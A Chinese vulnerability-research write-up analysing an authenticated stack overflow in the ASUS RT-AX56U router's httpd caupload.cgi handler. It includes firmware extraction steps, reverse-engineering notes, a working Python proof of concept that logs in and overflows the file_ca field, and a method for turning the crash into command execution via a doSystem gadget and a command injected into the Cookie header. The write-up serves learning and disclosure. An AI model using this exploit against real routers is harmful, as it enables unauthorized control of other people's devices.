该漏洞为华硕RT-ax56u路由器httpd服务中身份验证后的栈溢出漏洞,由于该路由器在身份验证后可以自行开启telnet/ssh,而通过telnet/ssh登陆获取shell后已经是最高权限用户,所以该漏洞几乎没有被恶意利用的可能
本文从挖掘漏洞的角度分析该漏洞,仅供学习用途
相关信息
ASUS 2021/10/07更新公告(https://www.asus.com.cn/Networking-IoT-Servers/WiFi-Routers/ASUS-WiFi-Routers/RT-AX56U/HelpDesk_BIOS/)
本文分析的漏洞为其中的栈溢出漏洞,另外经过华硕官方确认还有多个型号路由器存在该漏洞并均已修复
固件下载
华硕提供了非常全面的服务支持,可以在官网下载所有版本的固件
下载漏洞修复前的固件
FW_RT_AX56U_300438644266(https://dlsvr04.asus.com.cn/pub/ASUS/wireless/RT-AX56U/FW_RT_AX56U_300438644266.zip)
实验环境
由于虚拟环境较玄学,使用某鱼不到300rmb就可以买到的二手华硕RT-ax56u路由器,将下载的固件手动上传到设备
获取文件系统
先对文件系统进行解压,该固件中是ubi文件系统,如果使用binwalk直接解压只能得到一个ubi后缀的文件
可以使用ubi_reader(https://github.com/jrspruitt/ubi_reader)工具对固件进行解压,或者安装好ubi_reader后用binwalk就可以直接解压了
binwalk -Me RT-AX56U_3.0.0.4_386_44266-g7f6b0df_cferom_pureubi.w
分析攻击面
可以通过三种方式获取该路由器端口信息,从而分析潜在的攻击面
- nmap扫描端口
- 扫描端口可以快速了解该路由器潜在的攻击面
sudo nmap 192.168.50.1 -p0-65535
- 通过uart串口获取shell后查看开放端口
- 拆开路由器查看调试串口
- 用SecureCRT连接
对于该路由器有更加方便的方法,此处不对此方法进行赘述,关于uart串口连接可以参考学习拆机调试路由器(https://x1ng.top/2020/12/06/%E5%AD%A6%E4%B9%A0%E6%8B%86%E6%9C%BA%E8%B0%83%E8%AF%95%E8%B7%AF%E7%94%B1%E5%99%A8/)
netstat -aptu
- 开启telnet/ssh获取shell后查看开放端口
- 此处用telnet连接
netstat -aptu
可以看到开启的tcp和udp端口以及相关的服务
在对该路由器进行测试的过程中由于对http协议最熟悉,优先对该固件中实现web功能的httpd文件进行分析,而本文分析的漏洞正是存在于httpd文件中
全局搜索httpd
find . | grep httpd
找到httpd文件
逆向分析httpd服务文件
进行例行检查
为ARM架构小端序的程序,只开启了NX保护,也就是说对于内存破坏漏洞而言不能通过直接写入shellcode并跳转的方式来进行利用
ida进行逆向分析之前查找资料可以找到梅林固件httpd服务的源代码(https://github.com/RMerl/asuswrt-merlin/blob/master/release/src/router/httpd/httpd.c),虽然细微之处有所差别,但是大致框架一致,可以根据源码快速理解其实现逻辑
其处理http报文的主要功能在static void handle_request(void)
函数中
static void handle_request(void) { ... while ( fgets( cur, line + sizeof(line) - cur, conn_fp ) != (char*) 0 ) { //获取http报文请求头(略) ... } ... for (handler = &mime_handlers[0]; handler->pattern; handler++) { if (match(handler->pattern, url)) { ... if (handler->auth) { ... else{ ... handler->auth(auth_userid, auth_passwd, auth_realm); auth_result = auth_check(auth_realm, authorization, url, file, cookies, fromapp); if (auth_result != 0) { if(strcasecmp(method, "post") == 0 && handler->input) //response post request while (cl--) (void)fgetc(conn_fp); send_login_page(fromapp, auth_result, NULL, NULL, 0); return; } } ... }else{ ... } if (handler->input) { handler->input(file, conn_fp, cl, boundary); ... } ... if (strcasecmp(method, "head") != 0 && handler->output) { handler->output(file, conn_fp); } break; } }
在项目的httpd.h文件中可以找到mime_handler结构体定义
struct mime_handler { char *pattern; char *mime_type; char *extra_header; void (*input)(char *path, FILE *stream, int len, char *boundary); void (*output)(char *path, FILE *stream); void (*auth)(char *userid, char *passwd, char *realm); };
其大致逻辑就是获取完报文请求头后遍历mime_handlers结构体数组,根据用户访问的url找到对应的mime_handler结构体,再判断鉴权以及调用其中的函数指针,这些被调用的函数就是需要重点审计的地方
在固件中也可以找到mime_handlers结构体数组
经过逆向分析,最后在"caupload.cgi"字段的mime_handler结构体中找到了存在漏洞的函数
分析漏洞
根据对handler的input
函数调用的语句可以知道各参数的含义
这里只有3个参数,与源码中看到的调用语句不同,是因为ida没有识别出将第四个参数存入寄存器的过程,直接查看汇编代码就能看到对R3的赋值
进入"caupload.cgi"相关结构体的input
函数,也能看到其实是有四个参数的
程序运行到这个函数的时候,http报文请求头已经被读取了,此时缓冲区中还有http报文的请求数据
该函数从缓冲区中获取请求数据后保存在大小为0x10000的input3数组中,根据请求数据中的"name"字段进入不同的分支
而漏洞的成因是最后调用的strcat
函数,程序会判断"Content-Length"字段判断请求数据的长度(通过第三个参数传递),将fgets
从缓冲区获取到的字符串拼接到保存在栈上的变量v34后面,但是由于这里Content-Length的最大限制为0xffff,而该函数的栈帧长度只有0x1440,存在栈溢出漏洞
触发漏洞
逆向报文结构让程序能执行到调用strcat
函数的分支,只需要在Content-Disposition: form-data; name="file_ca"; filename=
后填充大量字符就可以造成溢出(通过burp抓包得到登录报文格式,在验证漏洞之前需要先进行登录)
poc.py:
#/usr/bin/python3 import requests import socket import base64 import sys def attack(ip, username, passwd): login_url = "http://"+ip+"/login.cgi" hd = {"Host": "192.168.50.1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Referer": "http://192.168.50.1/Main_Login.asp", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "161", "Cookie": "clickedItem_tab=0; hwaddr=A8:5E:45:DD:96:08; apps_last=; maxBandwidth=100; bw_rtab=INTERNET; asus_token=lRZ0RCBKRnYW8GBQzCI2wHPzB7F7DYU", "Connection": "close", "Upgrade-Insecure-Requests": "1" } auth = username+':'+passwd auth = base64.b64encode(auth.encode('utf-8')).decode() print('[*] login...') da = "group_id=&action_mode=&action_script=&action_wait=5¤t_page=Main_Login.asp&next_page=index.asp&login_authorization="+auth+"&login_captcha=" r = requests.post(login_url,headers=hd,data = da, timeout=1000) cookie = r.headers['Set-Cookie'][11:-11] pd = 'Content-Disposition: form-data; name="file_ca"; filename=aaa\r' pd += '\r' pd += 'a'*0x2000 attack_url = "http://"+ip+"/caupload.cgi" hd = {"Host": "192.168.50.1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Referer": "http://192.168.50.1/Advanced_VPNClient_Content.asp", "Content-Type": "application/x-www-form-urlencoded; boundary=---------------------------90665545817618071411188093951", "Content-Length": str(len(pd)), "Cookie": "clickedItem_tab=0; hwaddr=A8:5E:45:DD:96:08; apps_last=; maxBandwidth=100; bw_rtab=INTERNET; asus_token="+cookie, "Connection": "close", "Upgrade-Insecure-Requests": "1" } print('[*] Attacking') r = requests.post(attack_url,headers=hd,data = pd, timeout=1000) def usage(): print("Usage: python poc.py routerip username password") if __name__ == "__main__": if len(sys.argv) < 3: usage() else: attack(ip=sys.argv[1],username=sys.argv[2], passwd=sys.argv[3])
发送报文后httpd服务崩溃,但是由于存在守护进程马上就会重新启动服务
漏洞利用
经过测试发现在该路由器上,但是由于
与CTF不同的是,对于这种网络服务,进行溢出后进行ROP泄露地址再ret2libc的方法并不好用
- 泄露地址后往往需要返回main函数重新输入溢出数据,但是由于配置等问题可能导致失败
- 泄露地址不能通过
puts
等标准输出函数,而是需要向与用户连接的socket中输出
而其实对于该路由器而言
- 栈地址与堆地址都是随机的(如果用qemu模拟环境可能是固定的),不能直接使用libc中的gadget
- 开启了NX保护不能使用shellcode
- 没有开启pie保护,程序基址还是固定的
- 由于路由器为arm架构,程序中固定的地址最高位基本都是
\x00
无法使用shellcode,甚至因为strcat
函数存在\x00
截断,构造ROP链都是问题,难道这里即使存在溢出漏洞也没有办法进行利用吗
其实是有办法的,ret2libc不行,倒是可以考虑ret2text
由于固定地址最高位是\x00
,所以在内存中填充返回地址时的最后一个字节为\x00
,也就是说有一次跳转地址的机会
在程序中寻找可能可以利用的gedget,直接对system
、popen
、doSystem
(system
函数的wraper函数)这样能执行命令的函数进行交叉引用搜索,可以找到一个特殊的函数调用
在ARM架构下获取字符串地址的指令一般是形如ADD R0,PC,R0
这样的汇编指令,以PC寄存器作为基址寄存器通过偏移来获得字符串地址,而该函数调用的特殊之处在于,在调用doSystem
函数之前,获取参数的指令是LDR R0,[SP,#0x28]
也就是说,如果在跳转到这个gadget之前能控制[SP,#0x28]
这个地址上的内容,就能控制doSystem
的参数达到执行命令的目的,而这里正好是可控的
对漏洞进行gdbserver远程调试(远程调试的具体步骤就不介绍了,可以参考强网杯2020决赛-cisco-RV110W-漏洞复现中进行远程调试的详细步骤)
gdb-multiarch httpd target remote 192.168.50.1:1234 b*0x51344 c
运行POC脚本发送http请求,溢出后将返回地址修改为0x5b43c,从断点处单步运行跳转到0x5b43c,查看$sp+0x28
的值
x/20wx $sp+0x28
发现[sp+0x28]
所指向的地址保存的其实是http报文请求头中Cookie,也就是说只要将命令注入到Cookie中,再溢出控制程序跳转到上文提到的doSystem
函数之前,即可执行任意命令
但是为了让程序正常的读取Cookie,Cookie字段不能只是命令,需要在命令后拼接上原本Cookie的内容,并在二者之间用";"分隔保证命令正确执行。